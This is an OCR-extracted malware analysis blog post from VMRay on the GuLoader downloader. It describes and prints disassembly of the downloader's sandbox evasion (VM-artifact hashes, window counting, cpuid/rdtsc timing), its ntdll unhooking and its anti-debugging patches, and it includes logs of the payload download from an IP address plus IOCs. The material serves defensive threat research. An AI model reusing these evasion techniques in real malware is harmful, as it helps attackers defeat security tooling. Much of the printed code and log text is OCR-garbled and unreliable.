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Over the last couple of months, we observed a new downloader called_Gul.oader (also known as CloudEyE) that
has been actively distributed in 2020. In contrast to prototypical downloaders, GuLoader is known to use popular
cloud services such as Google Drive, OneDrive and Dropbox to host its encrypted payloads. So far, we have seen
that GuLoader is being used to deliver Formbook, NanoCore, LokiBot, and Remcos, among others. We’ve

observed that GuLoader uses a combination of evasion techniques that evade sandboxes and slow down (manual)

analysis.

On June 6th, 2020, the developers of GuLoader informed the public that they had shut down their service (Figure
1). Despite the suspension of service, we anticipate other malware families will evolve and adapt some of these
techniques in the near future. In this post, we will highlight GuL.oader’s techniques with a focus on sandbox

evasion and anti-analysis.

View the VMRay Platform Report for Gul.oader

06/10/2020 : SERVICE SUSPENSION

We learned from the press that unsuspecting users would use our platform to perpetrate abuses of all kinds.
Our protection software was created and developed to protect intellectual works from the abuse of hackers
and their affiliates, not to sow malware around the network. Although we are not sure that what is reported
by the media is true, we believe it appropriate to suspend our service indefinitely. We are two young
entrepreneurs, passionate about IT security and our goal is to enrich the scientific community with our
services, not to allow a distorted use of our intellectual work. We thank all our customers, who have legally
used our services since 2015. Customers will be reimbursed for purchased and unused license days. For more
information contact us by e-mail info@securitycode.eu, you will receive an answer within 24 hours.

Sebastiano Dragna
Ivano Mancini

10/06/2020 : SOSPENSIONE DEL SERVIZIO

Abbiamo appreso dagli organi di stampa che ignari utenti si sarebbero serviti della nostra piattaforma per
perpetrare abusi di ogni tipo. || nostro software di protezione nasce e si sviluppa per proteggere le opere
intellettuali dagli abusi degli hacker e loro affiliati, non per seminare malware in giro per la rete. Pur non

avendo la certezza che quanto riferito dai media, corrisponda a verita, riteniamo opportuno sospendere a

tempo indeterminato il nostro servizio. Siamo due giovani imprenditori, appassionati di sicurezza informatica
ed il nostro obiettivo e’ quello di arricchire la comunita scientifica con i nostri servizi, non quello di permettere
un uso distorto della nostra opera intellettuale. Ringraziamo tutti i nostri clienti, che dal 2015 hanno usato
legalmente i nostri servizi. | clienti saranno rimborsati per i giorni di licenza acquistati e non goduti. Per
maggiori informazioni contattateci per e-mail info@securitycode.eu, riceverete una risposta entro 24 ore.

Overview and Shellcode
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In our analysis, we can see that_Gul.oader creates another instance (in the following referenced as the second

instance) of itself and modifies its execution (Figure 2 and Figure 3).

Modify Control Flow

Child Process

Sample Start

The second instance then performs further malicious activities, which include network activity to download the

payload and the memory modification of other processes (Figure 4).

Other reports about GuLoader revealed the main functionality is implemented as shellcode, whereby the sample is

a 32-bit executable written in VB6 that contains the shellcode in encrypted form.

During execution, the embedded shellcode is decrypted, executed, and even injected, as seen before (Figure 2).

Behavior Information - Grouped by Category

Process #1: xeuovifzzc.exe 2 179 0
Process #2: xeuovifzzcexe & 2564 681
Process #3: explorer.exe =79 0
Process #4: cmstp.exe B3 455 0

By loading the shellcode in IDA Pro (we loaded the shellcode at offset 0x001A0000) or a similar disassembler, we
can see that the code is heavily obfuscated. The code is split into smaller parts containing additional junk code
(Figure 6) connected with control-flow changing instructions such as call, return and (indirect) jump. In contrast
to compiler-generated code, the shellcode combines code instructions and data such as strings, which is typical for

position-independent code.
This makes the static control-flow analysis more difficult and causes the automatic analysis of IDA Pro to fail.

For example, the addresses of library names are pushed on the stack using the call instruction (Figure 5). In
compiler-generated code, this instruction transfers the control flow to another function, and the return instruction

transfers it to the caller.
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segBad:e81A1B56 loc 1BAILBSA: ; CODE XREF: segk@e:@elABecETj
segBaa: elA1BSE call sub_1BARBD3

T L I
seglea:eelalEsE aNtdll db "ntdll’,@

Segaea: ealalBel db @Fsh

segaaa:eelalbez db @Esh

seghae: #8lAIBGS db @BAh

seghii: ealAlBad db BESh

Seghaa: aelAlBeS db BFFh

seghaa: ealalBes db BFFh

seglBa:eelAlBeT aKernel32 db "kernel32',@

SEEBBE I BBLALBTE [ -
seg@@8:801A1876 ; START OF FUNCTION CHUNK FOR sub_1BA19FB
seghaa;: eelAlETe

segB@@: 88141878 loc 1BALB7G: ; CODE XREF: sub 1BAI9FB+311
segBEd: ee1AIBTE call sub 1BAIA31

SegBB@ i BBlALBTE @ -
seglea:eelAlETS aldvapi32 db "advapi32’,®

L I o e
segaea: ealAlBvE call sub_1BARISA ; CODE XREF: sub_ 1BAR121+3471]
SEEBBE I BBLALBTE [ oo
seg@ea:e@lA1BE3 alser32 db 'user32',e

GulLoader resolves the required functions during runtime and uses the hash algorithm djb2 to find the desired

functions.

Anti-Analysis and Evasion Techniques

Expanding on the abovementioned techniques, the shellcode contains more techniques to obstruct automatic
analysis. One of these techniques is the search for virtual machine artifacts, which are embedded as djb2 hash
values. In Figure 6, we can see that these hash values are pushed on top of the stack and the successive call to the

function tries to find the corresponding artifacts in memory.
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segeoo: ee1seon-: | S
seghiae: ealipaba

segled: ealApa0ns Mo [ebp+1iCh], ecx
s egBRae: BBlABEDE cld

segaas:ealieans push @FFFFFFFFh
seglla: ealinae clec

Segaas:ealisaic push BE314751Dh
SEgaes:ealigacl push BA7CS3FELh
seghad: BalABRES push 7F21185Eh
seghiad: BalABRER push 3E17ADEGh
seghiai:aaligara push @F21FD928h
Segaad ealisars nop

Segaas:ealiearsc push 27A83188h
SEegaas:ealiears push BDFCBBF12h
Segaaa:aaliales push 2D9CC7eCh
seglag:ealaplas fnop

segBoR:BalAelay call near ptr mw_LookupHashValues
segBad:Balaplac cld

segBod:ealielan add esp, 24h
seglRE: BelAal11e frnop

SeglBe:eelaal12 call sub_1BA2526
seglla:ealially clec

segBBa:ealialls clec

seglag:ealaplls fnop

segldd:ealiellE clc

segBed:ealapllc jmp loc 1BA1BG2

Since these values are calculated by a one-way function (djb2), their preimages are unknown. So far, the strings in

Table 1 are possible preimages.

Hash Preimages Notes

7F21185B “HookLibraryx86.d11” ScyllaHide Plugin for x64dbg
A7C53F01 “VBoxTrayToolWndClass” VirtualBox Guest Additions
B314751D “vmtoolsdControlWndClass” VMWare, see [1]

If one of these hashes is found in memory, the sample displays an error message (Figure 7) and terminates the

process. Therefore, the sample shows no further malicious behavior, and it does not download the payload.

| Fehler @

........................................

In addition to the virtual machine artifacts, GuLoader verifies the number of top-level Windows displayed on the

current screen to exclude running in a sandbox (Figure 8.).
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For each top-level Window, the callback function (Figure 9) increases a counter by one, which leads to the overall
number of top-level Windows. This counter is used in the check at 0x1A01A6, which validates if at least 12 top-

level Windows are present.

segBBa:eelinli? loc 1BABLAZ: ; CODE XREF: sub_1BAPR1GB+9T]
SEgaes:ealialaz nop

SegBea: eeliBlAs call eax ; call to EnumbWindows
SEegaes:ealiglas pop eax

seghie: BelABLAG cmp eax, 12

segBBE:ealAB1AD jge short loc 1BABLCD

segBBE:ealAB1AR push e

Segaea:ealinlAl push BFFFFFFFFh

S egBea: aelABLAF call dword ptr [ebp+98h] ; call to TerminateProcess

Figure 8: Verification of the number of top-level windows on the screen.

seglen: BelARLEA mowv ecx, [esp-4+arg 8] ; callback function for Enumlkindows
seghen:palARLBE mow eax, [ecx]

segloa : ealial1Ce cld

segBes:palARLCL inc eax

segBen: pa1ARLC2 mow [ecx], eax

seghbe: BalAR1Ce cle

Segiea :eelielcs mo eax, 1

seg@ae:eeliaelch retn 8

If the number is lower, the process terminates in which case no error message is displayed.

To further prevent the manual analysis with a debugger, GuLoader modifies functions related to debugging
(Figure 10).

GuLoader modifies the two functions DbgBreakPoint and DbgUiRemoteBreakin. For the first function, the first
byte is replaced by a NOP instruction, and for the second function, the code is replaced by a call to ExitProcess
(Figure 11).

Hex Dump n

Before
Ox77R12502 |08 FF 75 FC EE D5 78 FC FF 8B C& S5E 8B E5 5D C2 | ..u...X...."..].
0x77R12512 |04 00 CC CC CC CC CC CC CC CC CC CC CC CC on POEN| .............. bl
0x77R12522 |68 (EQ| jo2 &% 77 [EE| 18 B0 'ED fEF| &4 L1 30 00 00 00 | EESSweaoos d.0...
Ox7TRIZS532 |80 78 02 00 75 09 F& 05 D4 02 FE 7F 02 74 28 64 | .X..Ueeeeeon. t(d
Ox7TR12542 |1 18 00 00 00 F& 80 CAR OF 00 | teieennnnn

After
Ox77R12502 |08 FF 75 FC EE D5 78 FC FF 8B C& S5E 8B E5 5D C2 | ..u...X...."..].
0x77R12512 |04 00 CC CC CC CC CC CC CC CC CC CC CC CC on PON| .............. bl
0x77R12522 B8 [BOD| |SC| 2E! 77 [EE| D0 /€2 0% 00 &2 Z1 30 00 00 OO0 | EEESweaaas d.0...
Ox7TRIZS532 |80 78 02 00 75 09 F& 05 D4 02 FE 7F 02 74 28 64 | .X..Ueeeeeon. t(d
Ox77R1A542 |1 18 00 00 00 F& B0 CAR OF 00 | teieennnnn
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Figure 10: VMRay Analyzer — Code modifications of the function DbgUiRemoteBreakin

773CF7EA|
T73CFTEC

[Right] After code modification of the function DbgUiRemoteBreakin.

68 30BA3577
ES8 BEEGFEFF
64:A1 18000000
8B40 30

8078 02 00

75 09

F&05 D402FETF 02
74 28

64:A1 18000000
F&B0 CAOFODOOD 20
75 19

8365 FC 00

E8 EGO7FTFF

EE OF

push 2
push ntdll.7735BA30
call ntdl1.7735DEE4

jne ntdl1.773CFB0E

je ntdl1.773CF836

jne ntdl1.773CF836

jmp ntd11.773CF82F

mov eax,dword ptr l:
mov eax,dword ptr ds:
cmp byte ptr ds:[eax+2],0

test byte ptr ds:[FFFEO02D4],2

mov eax,dword ptr l:[18]
test byte ptr ds:[eax+FCA],20

and dword ptr ss:flebp-4J,0
call <ntdll.DbgBreakPoint>

BA 00

B8 10T7ABSTE
FFDO

C2 0400

64:A1 18000000
EB40 20

8078 02 00

75 09

F&05 D402ZFEFF 02
74 28

64:rA1 18000000
F&B80 CAOFOQQ0Q0 20

7% 19
8365 FC 00
EE EBO7F7FF

EE O
XOr eax,eax 33C0
inc eax 40
ret 3

push 0

mov eax,<kernelz2.EXiTProcess>
Eal eax

rec 4

mov eax,dword ptr [l:[18]
mov eax,dword ptr ds:[eax+20]
cmp byte prr ds:[eax+2],0

jne ntd11.773CFEBOE

test te ptr ds:[FFFEO2D4],2
je ntdll.773CFE36

mov eax,dword ptr Jl:[1=
test byte prr ds:[eax+FCA],20
jne ntdl11.773CF836

and dword ptr ss:ffebp-4],0
€all =ntdll.DbgBreakPoint>
jmp ntd11.773CF82F

xKor eax,eax

ing eax

ret

After the code modifications of DbgUiRemoteBreakin, attaching a debugger to the running process results in its

termination.

In addition to modifying the two functions mentioned above, GuL.oader modifies further functions exported by

Ntdll.dll (Figure 12). These functions are well-known candidates for function hooking, which allows intercepting

function calls by redirecting the control flow. Some Antivirus Software and Sandboxes use function hooking to

monitor the behavior of a given program.

Hook Information

Type
Code
Code
Code
Code
Code
Code
Code
Code
Code
Code
Code

Code

Installer

private_0x00000000001c0000:+0x27a2
private_0x00000000001c0000:+0x27ae
private_0x00000000001c0000:+0x%2859
private_0x00000000001c0000:+0x%2859

private_0x00000000001c0000:+0x2859

Target

ntdll.dll:DbgBreakPoint+0x0
ntdll.dll:DbgUiRemoteBreakin+0x1
ntdll.dil:NtworkerFactoryworkerReady+0x1
ntdll.dll:MNtvapUserPhysicalPagesscatter+0x1

ntdll.dil:NtWaitForsingleObject+0x1

private_0x00000000001c0000:+0x2859
private_0x00000000001c0000:+0x2859
private_0x00000000001c0000:+0x2859
private_0x00000000001c0000:+0x2859
private_0x00000000001c0000:+0x2859
private_0x00000000001c0000:+0x2859

private_0x00000000001c0000:+0x2859

ntdll.dll:NtReadFile+0x1
ntdll.dll:NtDeviceloControlFile+0x1
ntdll.dil:NtWriteFile+0x1
ntdll.dIl:NtRemoveloCompletion+0x1
ntdll.dll:NtReleaseSemaphore+0x1

ntdll.dI:MNtSetEvent+0x1

ntdll.dll:NtClose+0x1

Size Information Actions
1 bytes - wee
11 bytes - wee
4 bytes - s
4 bytes - s
4 bytes - see
4 bytes - see
4 bytes - see
4 bytes - see
4 bytes - e
4 bytes - e
4 bytes - e
4 bytes - e

Verifying this suspicion in IDA Pro, GuLoader iterates through the code section of Ntdll.dll. While iterating

GulLoader tries to undo modifications introduced through function hooking as mentioned in Crowdstrike’s

analysis and disables Turbo Thunks, see WoW64 Internals.

To find candidates for modification, GuLoader uses various byte patterns, including “B8 00 00 00 00 BA” (Figure

13).
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var_EndOfSection = var_ SectionSize + var Iter;
while ( +var_Iter != var_EndOfsection )

if { *(_EYTE *)var Iter == @xBE && !*( DWORD *)(var Tter + 1) &R *( EYTE *)(var Iter + 5) == @xBA )

{

v17 = *{ _DWORD *}(var_Iter + 6);
vl8 = var_Iter + 18;
vio = @3
var_SystemCallNumber = 1;
do
1
+vl9;
if { *{_DWORD *)++vls == Bx9898C358 )
1
*( BYTE *)vid = -78;
*( DWORD *)(viE + 1) = v17;
*{ _DWORD *)}({vl1d - 4) = var_ SystemCallWumber;
*( BYTE *)(viE - §) = @xB8;
+var_SystemCallMumber;
+wl9;
+vwli;

else if ( v17 == *({ DWORD *)v18 )

{
*{ _DWORD *)}{vl8 - 5) = war SystemCallNumber;
*(_BYTE *}(viE - ) = @xB8;
+var_SystemCallMumber;

if ( *(_BYTE *)vl8 == @xEB && !*{_DWORD *)(v18 + 1) )

*{ _DWORD *)}({vl1d - 4) = var_ SystemCallWumber;
*( BYTE *)(vi& - 5) = BxBa;
+Hwar_SystemCallNumber;

w3l = w19;

v2l = 8;

Disabling of Turbo Thunks is reported (Figure 12) and calls to these functions are still monitored because

VMRay’s technology does not rely on hooking.

Furthermore, GuLoader hides threads by calling the function NtSetInformationThreadwith the value

HideFromDebugger (0x11) for the parameter ThreadInformationClass(Figure 14).

Function Logfile

1459 LoadLibraryA (lpLibFileName="user32") returned
1468 Enumdindows (1pEnumFunc=0 ed 1
1461 LoadLibraryA (lpLibFileNa

1462 LozdLibraryA (lpLibFileName="ntdll") returne:

LoadlibraryA (1pLibFileName="ntdll") returne
NtProtectVirtualMemory (in: ProcessHandle

4, NewAccessProtection=o:

BaseAddress=6:

, NumberOfBytesToProtect

» OldAccessProtection

dwShareMode=0x1, 1pSecur
, lpSecurityattributes=ox

1465. [ NtProtectVirtualMemory (in: ProcessHandle BaseAddress=2: , NumberOfBytesToProtect 4, NewAccessProtection=8x28, OldAccessProtection
1466. [ LoadLibraryA (lpLibFileName="ntd11") returned 26
1467. [0195.638] NtSetInformationThread (ThreadHandlesd:f###¢ffc, ThreadInformationClass=0x11, ThreadInformation=6x0, ThreadInformationlength=0x) returned G:xd
1468, [ LoadLibraryA (1pLibFileName="kernel32") returned x772d0000
1468, [ CreateFileA (1pFileName="C:\\Program Files\\Qemu-ga\\gemu-ga.exe” (normalized: “"c:\\program files\\gemu-ga\\gemu-ga.sxe"), dwDesiredAccess=oxs
1470. [ CreateFiled (1pFileName="C:\\Program Files\\gga\\gga.exe" (normalized: “c:\\program files\\qga\\Qga.exe"), owDesiredAccess=0x50008000, dwshareMod
1471. [ LoadLibraryA (1pLibFileName="ntd11") returned 26
oI BaseAddress=8x1977c4%=0x8, ZeroBits=0x8, RegionSize=8x19¢7cO%=0x1c200600, AllocationType=Bx3060, Protect=dxd | out: Base

NtAllecateVirtualMemory (in: ProcessHandle=@:

Function Name

NtSetinformationThread

>

Line Number

1467

In addition to the previously mentioned hash values of virtual machine artifacts, GuLoader checks the presence of

the Qemu Guest Agent on the filesystem. Both filesystem strings are visible in the shellcode (Figure 15) and

function log (Figure 14).
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segBBE:BBLlAISEF call sub 1BA1543

SegBB@IBBLALSEF [ -
seghlds: 88141594 aCProgramFiles) db "C:\Program Files\Qemu-ga‘gemu-ga.exe’,8
L L I T e
segaes:ealAlsBs

seglea:eelAlsEY loc 1BALSEY: ; CODE XREF: sub_1BA1543+131]
seglea:ealAlSEo call sub 1BA1558

segB@@ i BBLALSES ; ------- -

seghal B lA15BE a rogramriles . rogram 1les a d.exe
g0e8:801A15BE aCProgramFilesQ @ db "C:\Program Files\qga\gg '8

Before the second instance is created, or, in case of the second instance, before the payload is downloaded, it

delays its execution by using the instructions cpuid and rdtsc frequently in a loop (Figure 16).

The instruction cpuid provides information about the processor and available features and can be used to detect

the presence of a hypervisor. In addition, rdtsc provides the number of CPU cycles since the last reset.

segBea: Ba1A2409 1fence

Seg@en : Ba1A24DC

seghas: eela24DE ence

segBea: BA1AZ4EL shl edx, 32

SeglBe:BalAZ4EL or edx, eax

segBea: BALAZAER mow esi, edx

seglae: BelAZ4ER pusha

Seg@ea : ealAZ4ED Mo eax, 1

seg@ea : BelAZ4EE

segBee: BalAZAFE ecx, 31 3 cpuld (eax=1)
segBee: BalAZAFE ; ecx[31] == hypervisor present
seglBe : Ba1A24F4 jb short §4+2

Seg@ea :eelAZ4re

seglRd:BelA24FE loc 1BA24FG: ; CODE XREF: mw_EvasionRdtscCpuid+lBTj
Seg@ea :eelAZ4re popa

segBee: BALAZAFT 1fence

Seg@en : BA1AZ4FA

Seg@ea : ealAZ4rC Ence

seghBa: 0a1A24FF shl edx, 32

segBea: Ba1A25a2 ar edx, eax

Seghe : BalA2584 sub edx, esi

segBea: Ba1LA25aE cmp edx, @

seglae: BelA25a9 jle short mw_EvasionRdtscCpuid
seg@ea:eelA2seb retn

If cpuid is executed in a virtual machine, the instruction causes the control flow to be transferred to the hypervisor
which resolves the request. Switching from the virtual machine to the hypervisor and back again introduces an

overhead that can be used to detect a virtual machine.

In case that a sandbox patches the rdtsc instruction to return a fixed value, the loop in Figure 16 is an infinite loop

since the register edx at 0x001A2506 has always the value 0 and the subsequent conditional jump is always taken.

Next, the sample performs the actions related to its stage. In the first stage, it creates a new process of itself, tries

to unmap its base image, maps msvbvm60.dll instead, followed by the previously mentioned code injection.

In the second stage, it downloads the payload using WinINet’s functions InternetOpenURLA and
InternetReadFile. We inspected the behavior of both stages in the VMRay function log (Figure 17). We

highlighted the fuction calls to NtGetContextThread in both figure because calls to some specific functions
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including CreateProcessInternal W, NTAllocateVirtualMemory, NTWriteVirtualMemory and NTResumeThread

are preceded by a call to NtGetContextThreat.

LoadLibraryA (lpLibFileName="advapi32") returned 0x756e0000 [0230.162) InternetOpenA (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOWE4; Trident/7.0; rv:ll.0) like Gecko™,

1 in: 1 | outs + (Contex | 10232.519) : 185004 | out: Context=0x2185004* (Cont
CreateProcessinternalW (in: hUserToken=0x0, lpApplicationName="C:\\Users\\FDLHVy\\Desktop\\xeucvifz [0232.520] L onk (R 19feed, 4) retu
Losdlibrasid (LSbFilellsne-itdll") retssned x77570000 [0232.521] L 12 [ , lpazUri-"hern:)/5.206.227 private/smarty.bin®, lpszHeas

02 4] {in: T c 3055004 | out: Context=0x3055004* (Contex [| [0234.570. Th (in: le=0 Context=0x21 | out: Context=0x2185004* (Cont
[0210.261] £ ( 1 —oxzsq retuzned 0x0 {0234.574) InvernstReadFile (in: arite Oxcc000c, lpBuffer= .,xa 90000, dwNumberOfByvesToRead=0x10000, lpdwiumk
o 9] NeGetContextIh: d (in: T i = 3055004 | cut: Context=0x3055004* (Contex [0234.584) i 185004 | out: Context=0x2185004* (Cont
7] NeOpenFile (in: FileHandl uxJShoE, De. 1, o 0x3051420* (Length=0x18, Ro J| [0234.584) I 1 P 1a0000, Read=0x10000, lpdwlumk
Thread (in: T 3055004 | cut: Contexc=0x3055004% (Contex [| [0234.583] Th c 185004 | ouc: Context=0x21B5004* (Cont
s (in €. Handle=0x19£864, Desi: 1£, Ok . [0234.593) L 1 » 1pt .:U‘JDD, T
e (in: T Handl c 3055004 | outi Comtext=0%3055004* (Contex J| [0234.602) Th 1e=0 Context=0x2185004 | out:
NcMap' (in: 1 =0x254, 15£8, z [0234.602) InternetReadFile (in: 1le=0xccO00c, lpBuffer=0x2lbcc40, dwNumberOfBytesToRead=0x10000, lpdwNumk
NeALl Vircuallemory (in 10£8 . ZexoBite=0x0, Regionsi | [0234.610) d (in: c 185004 | out: Context=0x2185004* (Cont
NeWziceVircuall (2m: 0000 00 [0234.686) InteznetCloseBandle (nIncernet=0xcc0004) zeturned 1
Thread (in: T 1 [0234.655) (in: T Cor 185004 | out: Context=0x2185004* (Cent
(in: T Handl [0234.685] T CloseHandle (h returned 0
Ne Th: d (in: TI I le= Context=0x3055004 | out [0234.€97) Loadlibraryh (lplibFileName="kermel32") returned 0x772d0000

€] NrSetContextThread (ThreadHandle= 0)(2:0 Context=0x3054100* (ContextFlags=( [0234.705) NeGerContextThread (in: T! le=0 'e, Con 185004 | ouc: Co'\ta!t DKZJ 04* (Cont

NtGetContextThread (1in: T c 3055004 | out: Context=0x3055004* (Contex [0234.713) VirtualMe (in:
NcResumeThread (in: T =0x250, ACount=0x0 | ouc: ACount=0x0) returned 0x0 [6235.003] RelhddVectoredExceprionBandler (FizrstRandler=0xl, VectoredHandler=0xS6l48e) revurmed 0x92820
Term: (npx uEx1tCode=0x0) [0235.009) reualMemory (in: 13£5+=0%401000, NumberOfByt
{0235.015) (1n: T - 185004 | out: Context=0x2185004* (Cent
[0235.107] CreateThread (in: 1pT: ze=0x0, 2e56,
[0235.113) NeGetContextThread (in: T le= Cer 185004 | ouc: Consexv=0x2103004¢ (Cont
[0235.118) NtSetInformationThread (T 1e=0x398, Thns Lh Class=0x1l, Thrt
[0235.118) Sleep (dwMilliseconds=0x800)
[0237.304] CreateThread (in: 1pT: . zem0x0, 1414,
10237.304] T nread (nTl awExs )

These functions are well-known candidates for breakpoints during manual dynamic analysis, and GuLoader tries

to detect the presence of these breakpoints (Figure 18). After a call to NtGetContextThread, the values of the

debug registers DRO, DR1, DR3, DR6, DR7 are investigated to detect hardware breakpoints. Next, the code of the

desired function is checked against interrupts/software breakpoints (0xCC, 0x3CD, 0x0BOF), which are typically

set by debuggers, before the function is finally called (offset 0x1A2E66).

segbpl: BeL1AZERS
seghe: BA1AZERT
Segeee: BalAZERE
Segeee: eelA2ERC
Seglee: eelA2ERF
segbee:BOLAZELL
seghol: 8A1AZE14
Segeee:BelAZELE
Segeee: BelAZELT
Seglee:BalAELS
segbol: BeL1AELE
seghBe:BA1AZE22
seghol: 8B1AZER24
Segeee: BalAZE2S
Segeee:BealA2E2A
segbol: BeL1AZE2E
segbol: BRLAZEZF
seghel: 8B1AZEST
Segeee:BalAZES2
Segeee:BalA2ESE
Segeee:BalAZESS
segbel: BeL1AZESC
segh@: BA1AZESE
SeghBe: Be1AZEA2
Segeee:BalAZEAS
Seglee:eelA2E4S
segbpe:BOLAZELE
seglBe:BOL1AZELS
seghe: BA1AZE49
Segeee: BalAZEAC
Seglee:BelA2E4E
segloe: BeLlAZESe
segbel: BRL1AZESS
seghol: 8B1AZESS
Segees: BalAZESD
Segeee: ealA2ESE
Seglee: eelA2ESC
segbel: BRLAZESF
seghil: 8B1AZERL
SeghBe: BR1AZELE
Segeee: BeLlAZERS

Pus word per [edd T
push @FFFFFFFEh

cld

call dword ptr [ebp+28h] ; call to NtGetContextThread
Tnop

cmp eax, @

jnz short loc_1BA2ETD

cle

clc

Moy gax, [edi+

cmp dword ptr [eax+4], @
jnz short loc_1BA2E7D

cmp dword ptr [eax+8], @
jnz short loc_1BA2E7D

nop

cmp dword ptr [eax+8Ch], @
jnz short loc_1BA2E7D

cld

cmp dword ptr [eaxtleh], @
jnz short loc_1BA2E7D

cmp dword ptr [eax+l4h], @
jnz short loc_1BA2E7D

cmp dword ptr [eax+18h], @
jnz short loc 1BA2E7D

cle

pop eax

mov bl, [eax]

cld

TS —

jz short loc_1BA2E7D
fnop

mov bx, [eax]

clc

cmp bx, 3CDh

jz short loc_1BA2E7D

cle

mov bx, [eax]

cmp bx, @B@rh

jz short loc 1BA2E7D
call eax ; dynamic call to the function
nop

After all of these evasion and anti-analysis attempts, the second instance decrypts the received payload, maps it

into memory, and transfers execution.

Conclusion

With the help of VMRay Analyzer, we can observe the complete behavior of GuLoader, which automates and

accelerates the identification of important behavior for further analysis (Figures 19 & 20). This analysis is a good

example of how malware evolves and adapts technical sandbox evasion and anti-analysis techniques. The quick
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and widespread adoption of GuLoader confirms a growing demand for evasive malware loaders in the criminal

underground.
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1: WOW64; Trident;7.0: rv:11.0) like Gecko
Server Mame 5.206.227.100
Server Port a0
Total Data Sent 164 bytes
Total Data Received 179.31 KB
Operation Information Success Count Logfile
B gt T TO MO e Geclo. oy
Open Connection protocol = http, server_name = 5.206.227.100, server_port = 80 v 1 FN
http_verb = GET, http_version = HTTP 1.1, target_resource = /private/smarty.bin, flags =
Open HTTP Request INTERMET _FLAG_PRAGMA_MOCACHE, INTERNET_FLAG_NO_CACHE_WRITE, v 1 FN
INTERMET_FLAG_RELOAD
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://5.206.227.100/private/smarty.bin v 1 FN
Read Response size = 65536, size_out = 65536 v 2 FN  DATA
Read Response size = 65536, size_out = 52288 v 1 FN DATA
Read Response size = 65536, size_out = 0 v 1 FN
Close Session v 1 FN
Name Start VA End VA Dump Reason PE Rebuild Bitness Entry Point AV YARA Actions
buffer 0x001C0000 0x001ECFFF Marked Executable X 32-Bit - X X e
msvbvm&.dll 0x00400000 0x00552FFF First Execution v 32-Bit 0x0041E310 X %X e
msvbvm&0.dll 0x00400000 0x00552FFF Content Changed ' 32-Bit 0x0041AFF0 X X "
buffer 0x00560000 OX0065FFFF First Execution x 32-Bit 0x00560000 x x wee
buffer 0x00560000 OxO0E5FFFE Content Changed X 32-Bit 0X00561448 x X e
buffer 0x00560000 O0x00B5FFFE Content Changed X 32-Bit 0xX0056148E x X e
buffer 0x00560000 0x0065FFFF Content Changed X 32-Bit 0x00562526 h 4 x e
buffer 0x00560000 0x0065FFFF Content Changed b4 32-Bit 0x00562526 x x e
buffer 0x00560000 0x0065FFFF Content Changed x 32-Bit 0x00561448 x x wee
buffer 0x00560000 OxO0E5FFFF Content Changed X 32-Bit 0x00562526 x X e
buffer 0x00560000 OxO0E5FFFE Content Changed X 32-Bit 0XO056148E x X e
buffer 0x00560000 O0x00B5FFFE Content Changed X 32-Bit 0x00561514 x X e
buffer 0x00560000 0x0065FFFF Content Changed X 32-Bit 0x00561448 X X e
buffer 0x1ECDO0OO 0x1ECFCFFF Marked Executable X 32-Bit - X X e
buffer 0x1EDOO0OO O0x1EE13FFF Marked Executable x 32-Bit - b4 X e
buffer 0x1EE20000 Ox1EE33FFF Marked Executable X 32-Bit - X X e
buffer 0x1EE40000 Ox1EES3FFF First Execution x 32-Bit 0x1EE40000 x X e
buffer 0x1EE60000 Ox1EETSFEF Image In Buffer v 32-Bit - X X e
buffer 0x1EEDOOOOD Ox1F1EFFFF First Execution v 32-Bit 0x1EF42070 h 4 x e
ntdil.dll 0x77870000 OxTTAFDEFFF First Execution v 32-Bit 0xT7T9EZ2210 X x e
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Sample

b240e52ea8a55a50760de6017d644d2d0fcc43fd8918abdf99964efb464c37b6

Server
5[.]1206[.]1227[.1100

Encrypted Payload

5399f144876e276e8ee1ea206bb4599ca912d8ff42327bdbf08f588a0a836b4e

Source: https://www.vmray.com/cyber-security-blog/guloader-evasion-techniques-threat-bulletin/
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